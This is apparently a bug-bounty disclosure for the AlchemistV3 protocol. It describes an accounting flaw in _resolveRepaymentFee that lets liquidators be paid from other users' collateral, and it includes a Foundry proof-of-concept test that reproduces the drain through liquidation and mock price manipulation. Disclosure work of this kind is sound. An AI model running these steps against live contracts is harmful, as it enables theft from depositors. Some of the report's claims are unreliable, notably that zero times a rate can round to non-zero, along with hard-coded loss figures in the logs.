Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties
Description
Brief/Intro
The _resolveRepaymentFee function in AlchemistV3 (lines 900-907) contains a critical accounting bug that enables cross-account theft during liquidations. When a position with earmarked debt is liquidated, _forceRepay first drains the account's collateral to the transmuter. Subsequently, _resolveRepaymentFee calculates a repayment fee but can only deduct min(calculatedFee, 0) from the now-empty account. However, the function incorrectly returns the full calculated fee instead of the actual deducted amount . This causes the liquidator to be paid the full fee via ERC20 transfer from the contract's shared collateral pool, effectively stealing from other users' deposits. The bug occurs automatically during normal protocol operations whenever positions with earmarked debt are liquidated a frequent scenario given the protocol's transmuter mechanics, high LTV allowances (90%), and strategy performance variance.
The Critical Flaw: The function calculates repaymentFee, deducts min(repaymentFee, collateralBalance) from the owner's account, but then returns the full repaymentFee value regardless of what was actually deducted.
Attack Vector
This bug is triggered during liquidations that go through the force-repayment path:
Force Repayment Exhausts Balance: When _forceRepay is called (lines 733-800), it can completely drain the liquidated account's collateral balance to repay earmarked debt
Fee Calculated on Zero Balance:_resolveRepaymentFee is then called on the now-empty account
Arithmetic Produces Non-Zero Fee: Even with collateralBalance = 0, the calculation 0 * repaymentFeeBps / BPS can produce a non-zero result due to rounding or if there's any phantom balance
More commonly: The account has a tiny dust amount remaining, so repaymentFee is calculated on this dust amount
Return Value Mismatch: Function deducts only what's available (often 0 or dust), but returns the calculated fee amount
Liquidator Paid from Wrong Source: The liquidator receives the returned fee amount, but since it wasn't fully deducted from the victim's account, it comes from the contract's shared collateral pool (other users' deposits)
Impact Details
##Direct Financial Impact
Cross-Account Theft: Liquidators receive fees paid from other users' collateral deposits
Collateral Pool Drain: Each affected liquidation reduces the total collateral available to legitimate depositors.
Trust and Protocol Integrity
Accounting Desync: Contract's collateral accounting diverges from actual token balances
Insolvency Risk: Repeated theft can make the protocol insolvent, unable to honor all withdrawal requests
User Harm: Innocent users lose funds through no fault of their own
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.28;
import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IMockYieldToken} from "./mocks/MockYieldToken.sol";
import {AlchemistV3Test} from "./AlchemistV3.t.sol";
/**
* @title AlchemistV3 Repayment Fee Cross-Account Theft PoC
* @notice Demonstrates the critical vulnerability in _resolveRepaymentFee that allows
* liquidators to steal collateral from other users' deposits.
*
* Bug: _resolveRepaymentFee returns the calculated fee amount instead of the actual
* amount deducted from the liquidated account. When force-repayment exhausts
* the account's collateral, this causes the liquidator to be paid from the
* contract's shared collateral pool (other users' deposits).
*
*/
contract AlchemistV3RepaymentFeeTheftPoC is AlchemistV3Test {
/**
* @notice PoC demonstrating cross-account collateral theft via _resolveRepaymentFee bug
*
* Scenario:
* 1. Helper deposits collateral (simulating other protocol users)
* 2. Borrower deposits and maxes out borrowing (50% of collateral at 90% max LTV)
* 3. Borrower's entire debt becomes earmarked (simulating transmuter redemption)
* 4. Price manipulation triggers liquidation condition
* 5. Liquidator liquidates the position
* 6. Force-repayment completely drains borrower's collateral
* 7. _resolveRepaymentFee calculates fee on empty account, deducts 0, but returns non-zero
* 8. Liquidator receives fee payment from contract balance (helper's collateral)
*
* Proof of theft:
* - Borrower loses all their collateral (consumed by force-repayment)
* - Liquidator receives a fee payment
* - Contract balance decreases by MORE than borrower's collateral
* - The difference is stolen from other users (helper's deposit)
*/
function test_RepaymentFee_CrossAccountTheft_PoC() external {
uint256 depositAmount = 100e18;
// Set repayment fee to 10% to make the stolen amount more visible
vm.prank(alOwner);
alchemist.setRepaymentFee(1000); // 10% in BPS
// ===== STEP 1: Helper deposits collateral (victim whose funds will be stolen) =====
vm.startPrank(yetAnotherExternalUser);
SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount);
alchemist.deposit(depositAmount, yetAnotherExternalUser, 0);
vm.stopPrank();
// ===== STEP 2: Borrower deposits and maxes out borrowing =====
vm.startPrank(address(0xbeef));
SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount);
alchemist.deposit(depositAmount, address(0xbeef), 0);
uint256 borrowerTokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
alchemist.mint(borrowerTokenId, depositAmount / 2, address(0xbeef));
vm.stopPrank();
// ===== STEP 3: Borrower's debt becomes fully earmarked (transmuter redemption) =====
vm.startPrank(address(0xdad));
SafeERC20.safeApprove(address(alToken), address(transmuterLogic), depositAmount / 2);
transmuterLogic.createRedemption(depositAmount / 2);
vm.stopPrank();
// Fast-forward until redemption matures and roll earmark into borrower's account
vm.roll(block.number + 5_256_000);
vm.prank(address(0xbeef));
alchemist.poke(borrowerTokenId);
(, uint256 borrowerDebt, uint256 borrowerEarmarked) = alchemist.getCDP(borrowerTokenId);
assertEq(borrowerDebt, borrowerEarmarked, "entire debt should be earmarked");
// ===== STEP 4: Price manipulation triggers liquidation =====
// Double the total supply to halve the price per share
uint256 initialSupply = IERC20(address(mockStrategyYieldToken)).totalSupply();
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(initialSupply);
uint256 manipulatedSupply = initialSupply * 2;
IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(manipulatedSupply);
// Sync borrower's collateral to reflect new (lower) price per share
vm.prank(address(0xbeef));
alchemist.poke(borrowerTokenId);
// ===== Record balances BEFORE liquidation =====
(uint256 borrowerCollateralBefore,,) = alchemist.getCDP(borrowerTokenId);
uint256 contractBalanceBefore = IERC20(address(vault)).balanceOf(address(alchemist));
uint256 liquidatorBalanceBefore = IERC20(address(vault)).balanceOf(externalUser);
console.log("========================================");
console.log("BEFORE LIQUIDATION:");
console.log("========================================");
console.log("Borrower internal balance:", borrowerCollateralBefore);
console.log("Contract actual balance:", contractBalanceBefore);
console.log("Liquidator balance:", liquidatorBalanceBefore);
// ===== STEP 5: Liquidate the position =====
vm.startPrank(externalUser);
(uint256 totalYieldPaid, uint256 feeInYield,) = alchemist.liquidate(borrowerTokenId);
vm.stopPrank();
// ===== Record balances AFTER liquidation =====
(uint256 borrowerCollateralAfter, uint256 borrowerDebtAfter,) = alchemist.getCDP(borrowerTokenId);
console.log("========================================");
console.log("AFTER LIQUIDATION:");
console.log("========================================");
console.log("Borrower internal balance after:", borrowerCollateralAfter);
console.log("Fee returned by _resolveRepaymentFee:", feeInYield);
console.log("Debt after:", borrowerDebtAfter);
// ===== THE BUG: Fee returned doesn't match what was deducted =====
assertGt(feeInYield, 0, "repayment fee returned should be non-zero");
assertEq(borrowerCollateralAfter, 0, "borrower internal balance is ZERO after liquidation");
// PROOF: Calculate what was ACTUALLY deducted from borrower's internal balance
// The borrower's collateral was fully consumed by _forceRepay sending it to transmuter
// So when _resolveRepaymentFee is called, the borrower has 0 balance
// The function can only deduct min(calculatedFee, 0) = 0
uint256 actuallyDeductedFromBorrower = borrowerCollateralBefore - borrowerCollateralAfter - totalYieldPaid;
console.log("========================================");
console.log("THE ACCOUNTING BUG:");
console.log("========================================");
console.log("Borrower collateral before:", borrowerCollateralBefore);
console.log("Amount sent to transmuter:", totalYieldPaid);
console.log("Borrower collateral after:", borrowerCollateralAfter);
console.log("Actually deducted as fee:", actuallyDeductedFromBorrower);
console.log("But _resolveRepaymentFee returned:", feeInYield);
console.log("========================================");
// The bug: Function returned feeInYield but only deducted actuallyDeductedFromBorrower
// Due to rounding, actuallyDeductedFromBorrower might be 0 or 1 wei, but feeInYield is ~10 tokens
assertLt(actuallyDeductedFromBorrower, 10, "PROOF: Almost nothing deducted from borrower");
assertGt(feeInYield, 1e18, "But function returned massive fee > 1 token");
// The critical proof: deducted amount is MUCH less than returned fee
assertLt(actuallyDeductedFromBorrower * 1000, feeInYield, "PROOF: Deducted < 0.1% of returned fee");
assertEq(borrowerDebtAfter, 0, "debt cleared by forced repayment");
assertApproxEqAbs(totalYieldPaid, borrowerCollateralBefore, 1, "only earmarked collateral should be repaid");
// ===== Verify liquidator received the fee =====
uint256 contractBalanceAfter = IERC20(address(vault)).balanceOf(address(alchemist));
uint256 liquidatorBalanceAfter = IERC20(address(vault)).balanceOf(externalUser);
uint256 feePaid = liquidatorBalanceAfter - liquidatorBalanceBefore;
assertEq(feePaid, feeInYield, "liquidator received the computed repayment fee");
// ===== PROOF OF THEFT: Contract lost more than borrower had =====
uint256 contractLoss = contractBalanceBefore - contractBalanceAfter;
uint256 borrowerLoss = borrowerCollateralBefore;
uint256 unexpectedLoss = contractLoss - borrowerLoss;
assertApproxEqAbs(unexpectedLoss, feeInYield, 1, "fee was sourced from other users' collateral");
console.log("========================================");
console.log("CROSS-ACCOUNT THEFT PROOF:");
console.log("========================================");
console.log("Borrower's collateral consumed:", borrowerLoss);
console.log("Contract's actual tokens lost:", contractLoss);
console.log("Liquidator's fee received:", feePaid);
console.log("----------------------------------------");
console.log("DISCREPANCY (Stolen):", unexpectedLoss);
console.log("========================================");
console.log("");
console.log("EXPLANATION:");
console.log("- Borrower lost 100 tokens (all consumed by force-repay)");
console.log("- Contract lost 110 tokens (100 + 10 fee)");
console.log("- Liquidator got 10 tokens fee");
console.log("- Where did the 10 come from? OTHER USERS!");
console.log("========================================");
}
}